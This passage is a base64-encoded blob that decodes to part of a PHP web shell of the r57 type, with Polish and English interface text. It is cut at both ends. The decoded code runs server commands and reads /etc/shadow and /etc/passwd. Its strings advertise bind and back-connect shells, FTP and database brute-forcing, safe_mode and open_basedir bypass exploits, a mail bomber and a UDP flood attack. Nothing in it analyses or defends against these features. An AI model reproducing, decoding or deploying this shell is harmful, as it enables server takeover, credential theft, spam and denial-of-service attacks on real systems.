6ZT0tMj48Yj4nLiRrZXkuJzwvYj48L2ZvbnQ+PC90ZD48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Jy5VX3ZhbHVlKCR2YWx1ZVsnbG9jYWxfdmFsdWUnXSkuJzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48dGQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Jy5VX3ZhbHVlKCR2YWx1ZVsnZ2xvYmFsX3ZhbHVlJ10pLic8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj4nOw0KICB9DQogZWNobyAkcjsNCiBlY2hvICc8L3RhYmxlPic7DQogfQ0KZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsNCmRpZSgpOw0KfQ0KaWYoaXNzZXQoJF9HRVRbJ2NwdSddKSkNCiB7DQogICBlY2hvICRoZWFkOw0KICAgZWNobyAnPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZCBjbGFzcz1oZWFkPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48Yj5DUFU8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPjx0YWJsZSB3aWR0aD0xMDAlPic7DQogICAkY3B1ZiA9IEBmaWxlKCJjcHVpbmZvIik7DQogICBpZigkY3B1ZikNCiAgICB7DQogICAgICAkYyA9IEBzaXplb2YoJGNwdWYpOw0KICAgICAgZm9yKCRpPTA7JGk8JGM7JGkrKykNCiAgICAgICAgew0KICAgICAgICAgICRpbmZvID0gQGV4cGxvZGUoIjoiLCRjcHVmWyRpXSk7DQogICAgICAgICAgaWYoJGluZm9bMV09PSIiKXsgJGluZm9bMV09Ii0tLSI7IH0NCiAgICAgICAgICAkciAuPSAnPHRyPjx0ZD4nLndzKDMpLic8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4nLnRyaW0oJGluZm9bMF0pLic8L2I+PC9mb250PjwvdGQ+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPicudHJpbSgkaW5mb1sxXSkuJzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPic7DQogICAgICAgIH0NCiAgICAgIGVjaG8gJHI7DQogICAgfQ0KICAgZWxzZQ0KICAgIHsNCiAgICAgIGVjaG8gJzx0cj48dGQ+Jy53cygzKS4nPGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+IC0tLSA8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj4nOw0KICAgIH0NCiAgIGVjaG8gJzwvdGFibGU+JzsNCiAgIGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7DQogICBkaWUoKTsNCiB9DQppZihpc3NldCgkX0dFVFsnbWVtJ10pKQ0KIHsNCiAgIGVjaG8gJGhlYWQ7DQogICBlY2hvICc8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkIGNsYXNzPWhlYWQ+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9cmVkPjxiPk1FTU9SWTwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+PHRhYmxlIHdpZHRoPTEwMCU+JzsNCiAgICRtZW1mID0gQGZpbGUoIm1lbWluZm8iKTsNCiAgIGlmKCRtZW1mKQ0KICAgIHsNCiAgICAgICRjID0gc2l6ZW9mKCRtZW1mKTsNCiAgICAgIGZvcigkaT0wOyRpPCRjOyRpKyspDQogICAgICAgIHsNCiAgICAgICAgICAkaW5mbyA9IGV4cGxvZGUoIjoiLCRtZW1mWyRpXSk7DQogICAgICAgICAgaWYoJGluZm9bMV09PSIiKXsgJGluZm9bMV09Ii0tLSI7IH0NCiAgICAgICAgICAkciAuPSAnPHRyPjx0ZD4nLndzKDMpLic8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4nLnRyaW0oJGluZm9bMF0pLic8L2I+PC9mb250PjwvdGQ+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPicudHJpbSgkaW5mb1sxXSkuJzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPic7DQogICAgICAgIH0NCiAgICAgIGVjaG8gJHI7DQogICAgfQ0KICAgZWxzZQ0KICAgIHsNCiAgICAgIGVjaG8gJzx0cj48dGQ+Jy53cygzKS4nPGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+IC0tLSA8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj4nOw0KICAgIH0NCiAgIGVjaG8gJzwvdGFibGU+JzsNCiAgIGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7DQogICBkaWUoKTsNCiB9DQogDQppZihpc3NldCgkX0dFVFsnZG1lc2coOCknXSkpDQogeyRfUE9TVFsnY21kJ10gPSAnZG1lc2coOCknO30NCmlmKGlzc2V0KCRfR0VUWydmcmVlJ10pKQ0KIHskX1BPU1RbJ2NtZCddID0gJ2ZyZWUnO30NCmlmKGlzc2V0KCRfR0VUWyd2bXN0YXQnXSkpDQogeyRfUE9TVFsnY21kJ10gPSAndm1zdGF0Jzt9DQppZihpc3NldCgkX0dFVFsnbHNwY2knXSkpDQogeyRfUE9TVFsnY21kJ10gPSAnbHNwY2knO30NCmlmKGlzc2V0KCRfR0VUWydsc2RldiddKSkNCiB7JF9QT1NUWydjbWQnXSA9ICdsc2Rldic7fQ0KaWYoaXNzZXQoJF9HRVRbJ3Byb2NpbmZvJ10pKQ0KIHskX1BPU1RbJ2NtZCddPSdjYXQgL3Byb2MvY3B1aW5mbyc7fQ0KaWYoaXNzZXQoJF9HRVRbJ3ZlcnNpb24nXSkpDQogeyRfUE9TVFsnY21kJ109J2NhdCAvcHJvYy92ZXJzaW9uJzt9DQppZihpc3NldCgkX0dFVFsnaW50ZXJydXB0cyddKSkNCiB7JF9QT1NUWydjbWQnXT0nY2F0IC9wcm9jL2ludGVycnVwdHMnO30NCmlmKGlzc2V0KCRfR0VUWydyZWFsaXNlMSddKSkNCiB7JF9QT1NUWydjbWQnXSA9ICdjYXQgL2V0Yy8qcmVhbGlzZSc7fQ0KaWYoaXNzZXQoJF9HRVRbJ3NlcnZpY2UnXSkpDQogeyRfUE9TVFsnY21kJ10gPSAnc2VydmljZSAtLXN0YXR1cy1hbGwnO30NCmlmKGlzc2V0KCRfR0VUWydpZmNvbmZpZyddKSkNCiB7JF9QT1NUWydjbWQnXSA9ICdpZmNvbmZpZyc7fQ0KaWYoaXNzZXQoJF9HRVRbJ3cnXSkpDQogeyRfUE9TVFsnY21kJ10gPSAndyc7fQ0KaWYoaXNzZXQoJF9HRVRbJ3dobyddKSkNCiB7JF9QT1NUWydjbWQnXSA9ICd3aG8nO30NCmlmKGlzc2V0KCRfR0VUWyd1cHRpbWUnXSkpDQogeyRfUE9TVFsnY21kJ10gPSAndXB0aW1lJzt9DQppZihpc3NldCgkX0dFVFsnbGFzdCddKSkNCiB7JF9QT1NUWydjbWQnXSA9ICdsYXN0IC1uIDEwJzt9DQppZihpc3NldCgkX0dFVFsncHNhdXgnXSkpDQogeyRfUE9TVFsnY21kJ10gPSAncHMgLWF1eCc7fQ0KaWYoaXNzZXQoJF9HRVRbJ25ldHN0YXQnXSkpDQogeyRfUE9TVFsnY21kJ10gPSAnbmV0c3RhdCAtYSc7fQ0KaWYoaXNzZXQoJF9HRVRbJ2xzYXR0ciddKSkNCiB7JF9QT1NUWydjbWQnXSA9ICdsc2F0dHIgLXZhJzt9DQppZihpc3NldCgkX0dFVFsnc3lzbG9nJ10pKQ0KIHskX1BPU1RbJ2NtZCddPSdlZGl0X2ZpbGUnOyRfUE9TVFsnZV9uYW1lJ10gPSAnL2V0Yy9zeXNsb2cuY29uZic7fQ0KaWYoaXNzZXQoJF9HRVRbJ2ZzdGFiJ10pKQ0KIHskX1BPU1RbJ2NtZCddPSdlZGl0X2ZpbGUnOyRfUE9TVFsnZV9uYW1lJ10gPSAnL2V0Yy9mc3RhYic7fQ0KaWYoaXNzZXQoJF9HRVRbJ2ZkaXNrJ10pKQ0KIHskX1BPU1RbJ2NtZCddID0gJ2ZkaXNrIC1sJzt9DQppZihpc3NldCgkX0dFVFsnZGYnXSkpDQogeyRfUE9TVFsnY21kJ10gPSAnZGYgLWgnO30NCmlmKGlzc2V0KCRfR0VUWydyZWFsaXNlMiddKSkNCiB7JF9QT1NUWydjbWQnXT0nZWRpdF9maWxlJzskX1BPU1RbJ2VfbmFtZSddID0gJy9ldGMvaXNzdWUubmV0Jzt9DQppZihpc3NldCgkX0dFVFsnaG9zdHMnXSkpDQogeyRfUE9TVFsnY21kJ109J2VkaXRfZmlsZSc7JF9QT1NUWydlX25hbWUnXSA9ICcvZXRjL2hvc3RzJzt9DQppZihpc3NldCgkX0dFVFsncmVzb2x2J10pKQ0KIHskX1BPU1RbJ2NtZCddPSdlZGl0X2ZpbGUnOyRfUE9TVFsnZV9uYW1lJ10gPSAnL2V0Yy9yZXNvbHYuY29uZic7fQ0KaWYoaXNzZXQoJF9HRVRbJ3N5c3RlbWluZm8nXSkpDQogeyRfUE9TVFsnY21kJ10gPSAnc3lzdGVtaW5mbyc7fQ0KaWYoaXNzZXQoJF9HRVRbJ3NoYWRvdyddKSkNCiB7JF9QT1NUWydjbWQnXT0nZWRpdF9maWxlJzskX1BPU1RbJ2VfbmFtZSddID0gJy9ldGMvc2hhZG93Jzt9DQppZihpc3NldCgkX0dFVFsncGFzc3dkJ10pKQ0KIHskX1BPU1RbJ2NtZCddPSdlZGl0X2ZpbGUnOyRfUE9TVFsnZV9uYW1lJ10gPSAnL2V0Yy9wYXNzd2QnO30NCiNpZihpc3NldCgkX0dFVFsnJ10pKQ0KIyB7JF9QT1NUWydjbWQnXSA9ICcnO30NCiANCiRsYW5nPWFycmF5KA0KJ3BsX3RleHQxJyA9PidXeWtvbmFuYSBrb21lbmRhJywNCidwbF90ZXh0MicgPT4nV3lrb25haiBrb21lbmRlIG5hIHNlcndlcnplJywNCidwbF90ZXh0MycgPT4nV3lrb25haiBrb21lbmRlJywNCidwbF90ZXh0NCcgPT4nS2F0YWxvZyByb2JvY3p5JywNCidwbF90ZXh0NScgPT4nUHJ6ZXNsaWogcGxpayBuYSBzZXJ3ZXInLA0KJ3BsX3RleHQ2JyA9PidQbGlrJywNCidwbF90ZXh0NmEnID0+J1ByemVzbGlqIHdpZWxlIHBsaWtvdyBuYSBzZXJ3ZXInLA0KJ3BsX3RleHQ3JyA9PidBbGlhc3knLA0KJ3BsX3RleHQ4JyA9PidXeWJpZXJ6IGFsaWFzJywNCidwbF9idXR0MScgPT4nV3lrb25haicsDQoncGxfYnV0dDInID0+J1VwbG9hZCcsDQoncGxfdGV4dDknID0+J0JpbmQgcG9ydCB0byAvYmluL2Jhc2gnLA0KJ3BsX3RleHQxMCc9PidQb3J0JywNCidwbF90ZXh0MTEnPT4nSGFzbG8gZG9zdGVwdScsDQoncGxfYnV0dDMnID0+J0JpbmQnLA0KJ3BsX3RleHQxMic9PidiYWNrLWNvbm5lY3QnLA0KJ3BsX3RleHQxMyc9PidJUCcsDQoncGxfdGV4dDE0Jz0+J1BvcnQnLA0KJ3BsX2J1dHQ0JyA9PidQb2xhY3onLA0KJ3BsX3RleHQxNSc9PidQcnplc2xpaiBwbGlrIHogc2Vyd2VyYScsDQoncGxfdGV4dDE2Jz0+J1dpdGgnLA0KJ3BsX3RleHQxNyc9PidSZW1vdGUgZmlsZScsDQoncGxfdGV4dDE4Jz0+J0xvY2FsIGZpbGUnLA0KJ3BsX3RleHQxOSc9PidFeHBsb2l0eScsDQoncGxfdGV4dDIwJz0+J1V6eWonLA0KJ3BsX3RleHQyMSc9PidOZXcgbmFtZScsDQoncGxfdGV4dDIyJz0+J2RhdGFwaXBlJywNCidwbF90ZXh0MjMnPT4nTG9jYWwgcG9ydCcsDQoncGxfdGV4dDI0Jz0+J1JlbW90ZSBob3N0JywNCidwbF90ZXh0MjUnPT4nUmVtb3RlIHBvcnQnLA0KJ3BsX3RleHQyNic9PidVenlqJywNCidwbF9idXR0NScgPT4nUnVuJywNCidwbF90ZXh0MjgnPT4nUHJhY3VqIHcgc2FmZV9tb2RlJywNCidwbF90ZXh0MjknPT4nQUNDRVNTIERFTklFRCcsDQoncGxfYnV0dDYnID0+J1ptaWVuJywNCidwbF90ZXh0MzAnPT4nU2NpZXprYScsDQoncGxfYnV0dDcnID0+J1Bva2F6JywNCidwbF9idXR0OCcgPT4nU3RhcnQnLA0KJ3BsX3RleHQzMSc9PidOaWUgem5hbGV6aW9ubyBwbGlrdScsDQoncGxfdGV4dDMyJz0+J1d5a29uYWoga29kIFBIUCcsDQoncGxfdGV4dDMzJz0+J1Byb2JhIG9iZWpzY2lhIG9wZW5fYmFzZWRpciB3aXRoIGNVUkwgZnVuY3Rpb25zKFBIUCA8PSA0LjQuMiwgNS4xLjQpJywNCidwbF9idXR0OCcgPT4nVGVzdCcsDQoncGxfdGV4dDM0Jz0+J1Byb2JhIG9iZWpzY2lhIHNhZmVfbW9kZSB6IGluY2x1ZGUoKScsDQoncGxfdGV4dDM1Jz0+J1Byb2JhIG9iZWpzY2lhIHNhZmVfbW9kZSB6IExPQUQgRklMRSB3IE15U1FMJywNCidwbF90ZXh0MzYnPT4nQmF6YSAuIFRhYmVsYScsDQoncGxfdGV4dDM3Jz0+J0xvZ2luJywNCidwbF90ZXh0MzgnPT4nSGFzbG8nLA0KJ3BsX3RleHQzOSc9PidCYXphJywNCidwbF90ZXh0NDAnPT4nRHVtcCB0YWJlbGkgYmF6eScsDQoncGxfYnV0dDknID0+J0R1bXAnLA0KJ3BsX3RleHQ0MSc9PidaYXBpc3ogZHVtcCB3IHBpbGt1JywNCidwbF90ZXh0NDInPT4nRWR5dHVqIHBsaWtpJywNCidwbF90ZXh0NDMnPT4nUGxpayBkbyBlZHljamknLA0KJ3BsX2J1dHQxMCc9PidaYXBpc3onLA0KJ3BsX3RleHQ0NCc9PidOaWUgbW96bmEgemFwaXNhYyBwbGlrdSEgVHlsa28gZG8gb2Rjenl0dSEnLA0KJ3BsX3RleHQ0NSc9PidQbGlrIHphcGlzYW55JywNCidwbF90ZXh0NDYnPT4nUG9rYXogcGhwaW5mbygpJywNCidwbF90ZXh0NDcnPT4nUG9rYXogem1pZW5uZSBwaHAuaW5pJywNCidwbF90ZXh0NDgnPT4nVXN1biBwbGlraSB0eW1jemFzb3dlJywNCidwbF9idXR0MTEnPT4nRWR5dHVqIHBsaWsnLA0KJ3BsX3RleHQ0OSc9PidVc3VuIHNrcnlwdCB6IHNlcndlcmEnLA0KJ3BsX3RleHQ1MCc9PidQb2theiBpbmZvIG8gQ1BVJywNCidwbF90ZXh0NTEnPT4nUG9rYXogaW5mbyBvIHBhbWllY2knLA0KJ3BsX3RleHQ1Mic9PidTenVrYWogdGVrc3R1JywNCidwbF90ZXh0NTMnPT4nVyBmb2xkZXJhY2gnLA0KJ3BsX3RleHQ1NCc9PidTenVrYWogdGVrc3R1IHcgcGxpa2FjaCcsDQoncGxfYnV0dDEyJz0+J1N6dWthaicsDQoncGxfdGV4dDU1Jz0+J1R5bGtvIHcgcGxpa2FjaCcsDQoncGxfdGV4dDU2Jz0+J0R1cGEgOignLA0KJ3BsX3RleHQ1Nyc9PidVdHdvcnovVXN1biBQbGlrL0ZvbGRlcicsDQoncGxfdGV4dDU4Jz0+J05hendhJywNCidwbF90ZXh0NTknPT4ncGxpaycsDQoncGxfdGV4dDYwJz0+J2ZvbGRlcicsDQoncGxfYnV0dDEzJz0+J1V0d29yei9Vc3VuJywNCidwbF90ZXh0NjEnPT4nUGxpayB1dHdvcnpvbnknLA0KJ3BsX3RleHQ2Mic9PidGb2xkZXIgdXR3b3J6b255JywNCidwbF90ZXh0NjMnPT4nUGxpayB1c3VuaWV0eScsDQoncGxfdGV4dDY0Jz0+J0ZvbGRlciB1c3VuaWV0eScsDQoncGxfdGV4dDY1Jz0+J1V0d29yeicsDQoncGxfdGV4dDY2Jz0+J1VzdW4nLA0KJ3BsX3RleHQ2Nyc9PidDSE9XTi9DSEdSUC9DSE1PRCcsDQoncGxfdGV4dDY4Jz0+J0tvbWVuZGEnLA0KJ3BsX3RleHQ2OSc9PidwYXJhbTEnLA0KJ3BsX3RleHQ3MCc9PidwYXJhbTInLA0KJ3BsX3RleHQ3MSc9PiJTZWNvbmQgY29tbWFuZHMgcGFyYW0gaXM6XHJcbi0gZm9yIENIT1dOIC0gbmFtZSBvZiBuZXcgb3duZXIgb3IgVUlEXHJcbi0gZm9yIENIR1JQIC0gZ3JvdXAgbmFtZSBvciBHSURcclxuLSBmb3IgQ0hNT0QgLSAwNzc3LCAwNzU1Li4uIiwNCidwbF90ZXh0NzInPT4nU3p1a2FueSB0ZWtzdCcsDQoncGxfdGV4dDczJz0+J1N6dWthaiB3IGZvbGRlcnplJywNCidwbF90ZXh0NzQnPT4nU3p1a2FqIHcgcGxpa2FjaCcsDQoncGxfdGV4dDc1Jz0+JyogeW91IGNhbiB1c2UgcmVnZXhwJywNCidwbF90ZXh0NzYnPT4nU2VhcmNoIHRleHQgaW4gZmlsZXMgdmlhIGZpbmQnLA0KJ3BsX3RleHQ4MCc9PidUeXAnLA0KJ3BsX3RleHQ4MSc9PidOZXQnLA0KJ3BsX3RleHQ4Mic9PidCYXp5JywNCidwbF90ZXh0ODMnPT4nV3lrb25haiB6YXB5dGFuaWUgU1FMJywNCidwbF90ZXh0ODQnPT4nWmFweXRhbmllIFNRTCcsDQoncGxfdGV4dDg1Jz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSB6IHd5a29ueXdhbmllbSBrb21lbmQgcHJ6ZXogc2Vyd2VyIE1TU1FMJywNCidwbF90ZXh0ODYnPT4nUG9iaWVyeiBwbGlraSB6IHNlcndlcmEnLA0KJ3BsX2J1dHQxNCc9PidQb2JpZXJ6JywNCidwbF90ZXh0ODcnPT4nUG9iaWVyeiBwbGlraSB6IHNlcndlcmEgRlRQJywNCidwbF90ZXh0ODgnPT4nc2Vyd2VyOnBvcnQnLA0KJ3BsX3RleHQ4OSc9PidGaWxlIG9uIGZ0cCcsDQoncGxfdGV4dDkwJz0+J1RyYW5zZmVyIG1vZGUnLA0KJ3BsX3RleHQ5MSc9PidLb21wcmVzamEnLA0KJ3BsX3RleHQ5Mic9PidiZXoga29tcHJlc2ppJywNCidwbF90ZXh0OTMnPT4nRlRQJywNCidwbF90ZXh0OTQnPT4nRlRQLWJydXRlZm9yY2UnLA0KJ3BsX3RleHQ5NSc9PidMaXN0YSB1enl0a293bmlrb3cnLA0KJ3BsX3RleHQ5Nic9PidOaWUgbW96bmEgcG9icmFjIGxpc3R5IHV6eXRrb3duaWtvdycsDQoncGxfdGV4dDk3Jz0+J3NwcmF3ZHpvbmU6ICcsDQoncGxfdGV4dDk4Jz0+J3Bvc3RlcDogJywNCidwbF90ZXh0OTknPT4nL2V0Yy9wYXNzd2QnLA0KJ3BsX3RleHQxMDAnPT4nUHJ6ZXNsaWogcGxpayBkbyBzZXJ3ZXJhIEZUUCcsDQoncGxfdGV4dDEwMSc9PidPZHdyb3Rub3NjICh1c2VyIC0+IHJlc3UpJywNCidwbF90ZXh0MTAyJz0+J01haWwnLA0KJ3BsX3RleHQxMDMnPT4nV3lzbGlqIGVtYWlsJywNCidwbF90ZXh0MTA0Jz0+J1d5c2xpaiBwbGlrIG5hIGVtYWlsJywNCidwbF90ZXh0MTA1Jz0+J0RvJywNCidwbF90ZXh0MTA2Jz0+J09kJywNCidwbF90ZXh0MTA3Jz0+J1RlbWF0JywNCidwbF9idXR0MTUnPT4nV3lzbGlqJywNCidwbF90ZXh0MTA4Jz0+J01haWwnLA0KJ3BsX3RleHQxMDknPT4nVWtyeWonLA0KJ3BsX3RleHQxMTAnPT4nUG9rYXonLA0KJ3BsX3RleHQxMTEnPT4nU1FMLVNlcnZlciA6IFBvcnQnLA0KJ3BsX3RleHQxMTInPT4nUHJvYmEgb2JlanNjaWEgc2FmZV9tb2RlIHogZnVua2NqYSBtYl9zZW5kX21haWwgKFBIUCA8PSA0LjAtNC4yLjIsIDUueCknLA0KJ3BsX3RleHQxMTMnPT4nUHJvYmEgb2JlanNjaWEgc2FmZV9tb2RlLCBwb2theiBsaXN0ZSBmb2xkZXJvdyBpbWFwX2xpc3QgKFBIUCA8PSA1LjEuMiknLA0KJ3BsX3RleHQxMTQnPT4nUHJvYmEgb2JlanNjaWEgc2FmZV9tb2RlLCBwb2theiBwbGlrIHByemV6IGltYXBfYm9keSAoUEhQIDw9IDUuMS4yKScsDQoncGxfdGV4dDExNSc9PidQcm9iYSBvYmVqc2NpYSBzYWZlX21vZGUsIHNrb3BpdWogcGxpayBwcnpleiBjb3B5W2NvbXByZXNzLnpsaWI6Ly9dIChQSFAgPD0gNC40LjIsIDUuMS4yKScsDQoncGxfdGV4dDExNic9Pidza29waXVqIHonLA0KJ3BsX3RleHQxMTcnPT4nZG8nLA0KJ3BsX3RleHQxMTgnPT4nUGxpayBza29waW93YW55JywNCidwbF90ZXh0MTE5Jz0+J05pZSBtb3puYSBza29waW93YWMgcGxpa3UnLA0KJ3BsX3RleHQxMjAnPT4nUHJvYmEgb2JlanNjaWEgc2FmZV9tb2RlIHZpYSBpbmlfcmVzdG9yZSAoUEhQIDw9IDQuNC40LCA1LjEuNikgYnkgTlNUJywNCidwbF90ZXh0MTIxJz0+J1Byb2JhIG9iZWpzY2lhIG9wZW5fYmFzZWRpciwgcG9ca2F6IGxpc3RlIGZvbGRlcm93IHByemV6IGZvcGVuIChQSFAgdjQuNC4wIG1lbW9yeSBsZWFrKSBieSBOU1QnLA0KJ3BsX3RleHQxMjInPT4nUHJvYmEgb2JlanNjaWEgb3Blbl9iYXNlZGlyLCBwb2theiBsaXN0ZSBmb2xkZXJvdyBwcnpleiBnbG9iIChQSFAgPD0gNS4yLngpJywNCidwbF90ZXh0MTIzJz0+J1Byb2JhIG9iZWpzY2lhIG9wZW5fYmFzZWRpciwgb2Rjenl0YWogcGxpayAqLmJ6aXAgcHJ6ZXogW2NvbXByZXNzLmJ6aXAyOi8vXSAoUEhQIDw9IDUuMi4xKScsDQoncGxfdGV4dDEyNCc9PidQcm9iYSBvYmVqc2NpYSBvcGVuX2Jhc2VkaXIsIGRvZGFqIGRhbmUgZG8gcGxpa3UgcHJ6ZXogZXJyb3JfbG9nW3BocDovL10gKFBIUCA8PSA1LjEuNCwgNC40LjIpJywNCidwbF90ZXh0MTI1Jz0+J0RhdGEnLA0KJ3BsX3RleHQxMjYnPT4nUHJvYmEgb2JlanNjaWEgb3Blbl9iYXNlZGlyLCB1dHdvcnogcGxpayBwcnpleiBzZXNzaW9uX3NhdmVfcGF0aFtOVUxMLWJ5dGVdIChQSFAgPD0gNS4yLjApJywNCidwbF90ZXh0MTI3Jz0+J1Byb2JhIG9iZWpzY2lhIG9wZW5fYmFzZWRpciwgZG9kYWogZGFuZSBkbyBwbGlrdSBwcnpleiByZWFkZmlsZVtwaHA6Ly9dIChQSFAgPD0gNS4yLjEsIDQuNC40KScsDQoncGxfdGV4dDEyOCc9PidNb2RpZnkvQWNjZXNzIGRhdGUodG91Y2gpJywNCidwbF90ZXh0MTI5Jz0+J1Byb2JhIG9iZWpzY2lhIG9wZW5fYmFzZWRpciwgdXR3b3J6IHBsaWsgcHJ6ZXogZm9wZW5bc3JwYXRoOi8vXSAoUEhQIHY1LjIuMCknLA0KJ3BsX3RleHQxMzAnPT4nUHJvYmEgb2JlanNjaWEgb3Blbl9iYXNlZGlyLCBvZGN6eXRhaiBwbGlrICouemlwIHByemV6IFt6aXA6Ly9dIChQSFAgPD0gNS4yLjEpJywNCidwbF90ZXh0MTMxJz0+J1Byb2JhIG9iZWpzY2lhIG9wZW5fYmFzZWRpciwgcG9rYXogcGxpayBwcnpleiBzeW1saW5rKCkgKFBIUCA8PSA1LjIuMSknLA0KJ3BsX3RleHQxMzInPT4nUHJvYmEgb2JlanNjaWEgb3Blbl9iYXNlZGlyLCBwb2theiBsaXN0ZSBmb2xkZXJvdyBwcnpleiBzeW1saW5rKCkgKFBIUCA8PSA1LjIuMSknLA0KJ3BsX3RleHQxMzMnPT4nJywNCidwbF90ZXh0MTM0Jz0+J0RhdGFiYXNlLWJydXRlZm9yY2UnLA0KJ3BsX3RleHQxMzUnPT4nTWV0b2RhIHNsb3duaWtvd2EnLA0KJ3BsX3RleHQxMzYnPT4nQ3JlYXRpbmcgZXZpbCBzeW1saW5rJywNCidwbF90ZXh0MTM3Jz0+J1ByenlkYXRuZScsDQoncGxfdGV4dDEzOCc9PidOaWViZXpwaWVjem5lJywNCidwbF90ZXh0MTM5Jz0+J01haWwgQm9tYmVyJywNCidwbF90ZXh0MTQwJz0+J0RvUycsDQoncGxfdGV4dDE0MSc9PidVd2FnYSEgTW96bGl3b3NjIHJvemplYmFuaWEgZGVhbW9uYS13d3cgOikuJywNCidwbF90ZXh0MTQyJz0+J1R3b2plIElQJywNCidwbF90ZXh0MTQzJz0+J0lQIFNlcndlcmEnLA0KJ3BsX3RleHQxNjknPT4nUHJvYmEgb2JlanNjaWEgb3Blbl9iYXNlZGlyLCBzeW1saW5rKCkgMGRheSBieXBhc3MgYnkgTS5BLicsDQoncGxfdGV4dDE3MCc9PidEb1MgQXR0YWNrIHx8IFVEUCBGTE9PRCcsDQoncGxfdGV4dDE3MSc9Pid0aW1lIChzKTogJywNCidwbF90ZXh0MTcyJz0+J1BvcnQ6ICcsDQoncGxfdGV4dDE3NCc9PidPZDogJywNCidwbF90ZXh0MTc1Jz0+J0lsb0HigLrDhOKAoTogJywNCidwbF90ZXh0MTc2Jz0+J0Zha2UgTWFpbCBCb21iZXInLA0KJ3BsX2J1dHQxNic9PidTVEFSVCcsDQoncGxfZXJyMCc9PidCbGFkISBOaWUgbW96bmEgemFwaXNhYyBwbGlrdSAnLA0KJ3BsX2VycjEnPT4nQmxhZCEgTmllIG1vem5hIG9kY3p5dGFjIHBsaWt1ICcsDQoncGxfZXJyMic9PidCbGFkISBOaWUgbW96bmEgc3R3b3J6eWMgJywNCidwbF9lcnIzJz0+J0JsYWQhIE5pZSBtb3puYSBwb2xhY3p5YyB6IEZUUCcsDQoncGxfZXJyNCc9PidCbGFkISBOaWUgbW96bmEgemFsb2dvd2FjIG5hIHNlcndlciBGVFAnLA0KJ3BsX2VycjUnPT4nQmxhZCEgTmllIG1vem5hIHptaWVuaWMgZm9sZGVydSBuYSBGVFAnLA0KJ3BsX2VycjYnPT4nQmxhZCEgTmllIG1vem5hIHd5c2xhYyBtYWlsYScsDQoncGxfZXJyNyc9PidNYWlsIHd5c2xhbnknLA0KLyogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICovDQonZW5nX3RleHQxJyA9PidFeGVjdXRlZCBjb21tYW5kJywNCidlbmdfdGV4dDInID0+J0V4ZWN1dGUgY29tbWFuZCBvbiBzZXJ2ZXInLA0KJ2VuZ190ZXh0MycgPT4nUnVuIGNvbW1hbmQnLA0KJ2VuZ190ZXh0NCcgPT4nV29yayBkaXJlY3RvcnknLA0KJ2VuZ190ZXh0NScgPT4nVXBsb2FkIGZpbGVzIG9uIHNlcnZlcicsDQonZW5nX3RleHQ2JyA9PidMb2NhbCBmaWxlJywNCidlbmdfdGV4dDZhJyA9PidNdWx0aSB1cGxvYWQnLA0KJ2VuZ190ZXh0NycgPT4nQWxpYXNlcycsDQonZW5nX3RleHQ4JyA9PidTZWxlY3QgYWxpYXMnLA0KJ2VuZ19idXR0MScgPT4nRXhlY3V0ZScsDQonZW5nX2J1dHQyJyA9PidVcGxvYWQnLA0KJ2VuZ19idXR0MTYnPT4nU1RBUlQnLA0KJ2VuZ190ZXh0OScgPT4nQmluZCBwb3J0IHRvIC9iaW4vYmFzaCcsDQonZW5nX3RleHQxMCc9PidQb3J0JywNCidlbmdfdGV4dDExJz0+J1Bhc3N3b3JkIGZvciBhY2Nlc3MnLA0KJ2VuZ19idXR0MycgPT4nQmluZCcsDQonZW5nX3RleHQxMic9PidiYWNrLWNvbm5lY3QnLA0KJ2VuZ190ZXh0MTMnPT4nSVAnLA0KJ2VuZ190ZXh0MTQnPT4nUG9ydCcsDQonZW5nX2J1dHQ0JyA9PidDb25uZWN0JywNCidlbmdfdGV4dDE1Jz0+J1VwbG9hZCBmaWxlcyBmcm9tIHJlbW90ZSBzZXJ2ZXInLA0KJ2VuZ190ZXh0MTYnPT